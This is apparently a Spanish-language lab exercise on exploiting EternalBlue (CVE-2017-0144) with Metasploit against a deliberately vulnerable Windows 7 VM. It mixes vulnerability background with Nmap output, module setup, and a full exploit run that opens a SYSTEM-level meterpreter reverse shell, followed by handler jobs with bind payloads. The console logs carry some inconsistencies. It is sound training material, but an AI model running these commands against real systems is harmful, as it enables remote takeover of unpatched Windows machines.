EJERCICIOS METASPLOIT AVANZADO

Prerequisitos

- Kali linux
- Windowsploitable

Ejercicio 1 - OSINT y Metasploit

Vulnerabilidad: CVE-2017-0144 (EternalBlue)

- Ficha de la vulnerabilidad

¿A qué software afecta?

Afecta a sistemas operativos Windows XP, Windows Vista y Windows 7 sin actualizar

¿Qué es ese software?

EternalBlue aprovecha una vulnerabilidad en la implementación del protocolo Server Message Block (SMB) de Microsoft. Esta vulnerabilidad, denotada como CVE-2017-0144, se debe a que la versión 1 del servidor SMB (SMBv1) acepta en varias versiones de Microsoft Windows paquetes específicos de atacantes remotos, permitiéndoles ejecutar código en el ordenador en cuestión.

La actualización de seguridad de Windows del 14 de marzo de 2017 resolvió el problema a través del parche de seguridad MS17-010, para todas las versiones de Windows que en ese momento eran mantenidas por la compañía: Windows Vista, Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012, y Windows Server 2016.1112 Las versiones antiguas, como Windows XP, Windows 8, o Windows Server 2003, no han recibido dicho parche. (La extensión del periodo de mantenimiento para Windows XP había acabado hace tres años, el 8 de abril de 2014, y el de Windows Server el 14 de julio de 2015).1314 Microsoft recientemente liberó el parche para Windows XP y Server 2003.15

Por diversos motivos, muchos usuarios de Windows no habían instalado MS17-010 cuando, dos meses más tarde, el 12 de mayo de 2017, se produjo el ataque WannaCry que empleaba la vulnerabilidad EternalBlue. El 13 de mayo de 2017, un día después del ataque, Microsoft aportó la actualización de seguridad para Windows XP, Windows 8, y Windows Server 2003.

Descripción de la vulnerabilidad.

El servidor SMBv1 en Microsoft Windows Vista SP2; Windows Server 2008 SP2 y R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold y R2; Windows RT 8.1; y Windows 10 Gold, 1511 y 1607; y Windows Server 2016 permite a los atacantes remotos ejecutar código arbitrario a través de paquetes manipulados, también conocido como "vulnerabilidad de ejecución remota de código SMB de Windows".

Existe una vulnerabilidad de ejecución remota de código en la forma en que el servicio Microsoft Server Message Block 1.0 (SMBv1) maneja ciertas solicitudes. Un atacante que explotara con éxito la vulnerabilidad podría obtener la ejecución del código en el servidor de destino.

- Versiones de software afectadas.

El servidor SMBv1 en Microsoft Windows Vista SP2; Windows Server 2008 SP2 y R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold y R2; Windows RT 8.1; y Windows 10 Gold, 1511 y 1607; y Windows Server 2016.

- Puertos que lo utilizan.

Puerto 445

- Módulos de metasploit relacionados.

Auxiliary, payload

- Explotar la vulnerabilidad:

```
Nmap scan report for 10.0.2.101
Host is up (0.00012s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Microsoft Windows 7 - 10 microsoft-ds (workgroup: EMPRESA)
554/tcp   open  rtsp?
2869/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
3389/tcp  open  ssl/ms-wbt-server?
10243/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49156/tcp open  msrpc         Microsoft Windows RPC
49158/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: HETEAM; OS: Windows; CPE: cpe:/o:microsoft:windows
```

- Buscar en Metasploit el exploit correspondiente.

```
[*] Starting persistent handler(s)...
msf6 > search cve:2017-0144

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   2  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/smb/smb_doublepulsar_rce
```

Usamos el 0

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > info

       Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
     Module: exploit/windows/smb/ms17_010_eternalblue
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2017-03-14

Provided by:
  Equation Group
  Shadow Brokers
  sleepya
  Sean Dillon <sean.dillon@risksense.com>
  Dylan Davis <dylan.davis@risksense.com>
  thelightcosine
  wvu <wvu@metasploit.com>
  agalway-r7
  cdelafuente-r7
  cdelafuente-r7
  agalway-r7

Available targets:
  Id  Name
  --  ----
  0   Automatic Target
  1   Windows 7
  2   Windows Embedded Standard 7
  3   Windows Server 2008 R2
  4   Windows 8
  5   Windows 8.1
  6   Windows Server 2012
  7   Windows 10 Pro
  8   Windows 10 Enterprise Evaluation
```

```
Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.0.2.101       yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target
```

Elegir payload meterpreter.

```
30  payload/windows/x64/meterpreter/reverse_tcp                    normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload payload/windows/x64/meterpreter/reverse_tcp
[-] Unknown datastore option: pay◆load. Did you mean PAYLOAD?
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD payload/windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
```

Explotarlo usando Metasploit.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.101:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.2.101:445        - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.0.2.101:445        - Scanned 1 of 1 hosts (100% complete)
[+] 10.0.2.101:445 - The target is vulnerable.
[*] 10.0.2.101:445 - Connecting to target for exploitation.
[+] 10.0.2.101:445 - Connection established for exploitation.
[+] 10.0.2.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.2.101:445 - CORE raw buffer dump (42 bytes)
[*] 10.0.2.101:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.0.2.101:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.0.2.101:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.0.2.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.2.101:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.2.101:445 - Sending all but last fragment of exploit packet
[*] 10.0.2.101:445 - Starting non-paged pool grooming
[+] 10.0.2.101:445 - Sending SMBv2 buffers
[+] 10.0.2.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.2.101:445 - Sending final SMBv2 buffers.
[*] 10.0.2.101:445 - Sending last fragment of exploit packet!
[*] 10.0.2.101:445 - Receiving response from exploit packet
[+] 10.0.2.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.2.101:445 - Sending egg to corrupted connection.
[*] 10.0.2.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.0.2.101
[+] 10.0.2.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.2.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.2.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (10.0.2.15:4444 → 10.0.2.101:49169) at 2023-01-20 02:50:35 +0100

meterpreter >
```

- Dejar la sesión en background.

```
meterpreter > background
[*] Backgrounding session 1 ...
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ HETEAM  10.0.2.15:4444 → 10.0.2.101:49169 (10.0.2.101)
```

- Usar módulo exploit/multi/handler

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > search exploit/multi/handler

Matching Modules
================

   #  Name                                              Disclosure Date  Rank       Check  Description
   -  ----                                              ---------------  ----       -----  -----------
   0  exploit/linux/local/apt_package_manager_persistence  1999-03-09  excellent  No     APT Package Manager Persistence
   1  auxiliary/scanner/http/apache_mod_cgi_bash_env    2014-09-24  normal     Yes    Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
   2  exploit/linux/local/bash_profile_persistence      1989-06-08  normal     No     Bash Profile Persistence
   3  exploit/linux/local/desktop_privilege_escalation  2014-08-07  excellent  Yes    Desktop Linux Password Stealer and Privilege Escalation
   4  exploit/multi/handler                             manual     No     Generic Payload Handler
   5  exploit/windows/mssql/mssql_linkcrawler           2000-01-01  great      No     Microsoft SQL Server Database Link Crawling Command Execution
   6  exploit/windows/browser/persits_xupload_traversal 2009-09-29  excellent  No     Persits XUpload ActiveX MakeHttpRequest Directory Traversal
   7  exploit/linux/local/yum_package_manager_persistence  2003-12-17  excellent  No     Yum Package Manager Persistence


Interact with a module by name or index. For example info 7, use 7 or use exploit/linux/local/yum_package_manager_persistence

msf6 exploit(windows/smb/ms17_010_eternalblue) > use 4
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > use 4
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > info

       Name: Generic Payload Handler
     Module: exploit/multi/handler
   Platform: Android, Apple_iOS, BSD, Java, JavaScript, Linux, OSX, NodeJS, PHP, Python, Ruby, Solaris, Unix, Windows, Mainframe, Multi
       Arch: x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual

Provided by:
  hdm <x@hdm.io>
  bcook-r7

Available targets:
  Id  Name
  --  ----
  0   Wildcard Target

Check supported:
  No

Payload information:
  Space: 10000000
  Avoid: 0 characters

Description:
  This module is a stub that provides all of the features of the
  Metasploit payload system to exploits that have been launched
  outside of the framework.


View the full module info with the info -d command.
```

```
msf6 exploit(multi/handler) > set LHOST 10.0.2.15
LHOST => 10.0.2.15
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


View the full module info with the info, or info -d command.
```

- Elegir un segundo payload.

```
msf6 exploit(multi/handler) > set payload payload/windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
```

```
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     10.0.2.101       no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.
```

```
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started bind TCP handler against 10.0.2.101:4444
```

Elegir opciones avanzadas.

```
Jobs
====

  Id  Name                    Payload                          Payload opts
  --  ----                    -------                          ------------
  0   Exploit: multi/handler  windows/x64/meterpreter/bind_tcp
```

```
msf6 exploit(multi/handler) > show advanced

Module advanced options (exploit/multi/handler):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ExitOnSession           true             yes       Return from the exploit after a session has been created
   ListenerTimeout         0                no        The maximum number of seconds to wait for new sessions
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session


Payload advanced options (windows/x64/meterpreter/bind_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoLoadStdapi              true             yes       Automatically load the Stdapi extension
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoSystemInfo              true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess           false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout    30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding         false            no        Encode the second stage payload
   EnableUnicodeEncoding       false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                               no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugBuild       false            no        Use a debug version of Meterpreter
   MeterpreterDebugLogging                      no        The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Debugging-Meterpreter-Sessions
   PayloadProcessCommandLine                    no        The displayed command line that will be used by the payload
   PayloadUUIDName                              no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                               no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                              no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries             0                yes       How many additional successful pingbacks
   PingbackSleep               30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate              false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                           no        Process to spawn and run shellcode in
   SessionCommunicationTimeout 300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout    604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal           3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait            10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                 no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                    no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback       true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module


View the full module info with the info, or info -d command.
```

```
Module advanced options (exploit/multi/handler):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ExitOnSession           false            yes       Return from the exploit after a session has been created
   ListenerTimeout         0                no        The maximum number of seconds to wait for new sessions
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session


Payload advanced options (windows/x64/meterpreter/bind_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoLoadStdapi              true             yes       Automatically load the Stdapi extension
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoSystemInfo              true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess           false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout    30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding         false            no        Encode the second stage payload
   EnableUnicodeEncoding       false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                               no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugBuild       false            no        Use a debug version of Meterpreter
   MeterpreterDebugLogging                      no        The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Debugging-Meterpreter-Sessions
   PayloadProcessCommandLine                    no        The displayed command line that will be used by the payload
   PayloadUUIDName                              no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                               no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                              no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries             0                yes       How many additional successful pingbacks
   PingbackSleep               30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate              false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                           no        Process to spawn and run shellcode in
   SessionCommunicationTimeout 300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout    604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal           3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait            10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                 no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                    no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback       true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module


View the full module info with the info, or info -d command.
```

Explotarlo metiendolo en un job

```
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started bind TCP handler against 10.0.2.101:4444

msf6 exploit(multi/handler) > jobs

Jobs
====

  Id  Name                    Payload                          Payload opts
  --  ----                    -------                          ------------
  0   Exploit: multi/handler  windows/x64/meterpreter/bind_tcp
  1   Exploit: multi/handler  windows/x64/meterpreter/bind_tcp
```

Kali se encuentra escuchando para cuando alguien clickee

```
┌──(veronica㉿kali)-[~]
└─$ netstat -antp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33963         0.0.0.0:*               LISTEN      -
tcp        0      0 10.0.2.15:4444          0.0.0.0:*               LISTEN      -
tcp        0      0 10.0.2.15:4444          10.0.2.101:49169        ESTABLISHED -
tcp6       0      0 ::1:5432                :::*                    LISTEN      -
tcp6       0      0 ::1:52494               ::1:5432                ESTABLISHED -
tcp6       0   2968 ::1:5432                ::1:43948               ESTABLISHED -
tcp6       0      0 ::1:5432                ::1:51408               ESTABLISHED -
tcp6       0      0 ::1:5432                ::1:52494               ESTABLISHED -
tcp6       0      0 ::1:5432                ::1:45284               ESTABLISHED -
tcp6       0      0 ::1:43948               ::1:5432                ESTABLISHED -
tcp6       0      0 ::1:51408               ::1:5432                ESTABLISHED -
tcp6       0      0 ::1:45284               ::1:5432                ESTABLISHED -
```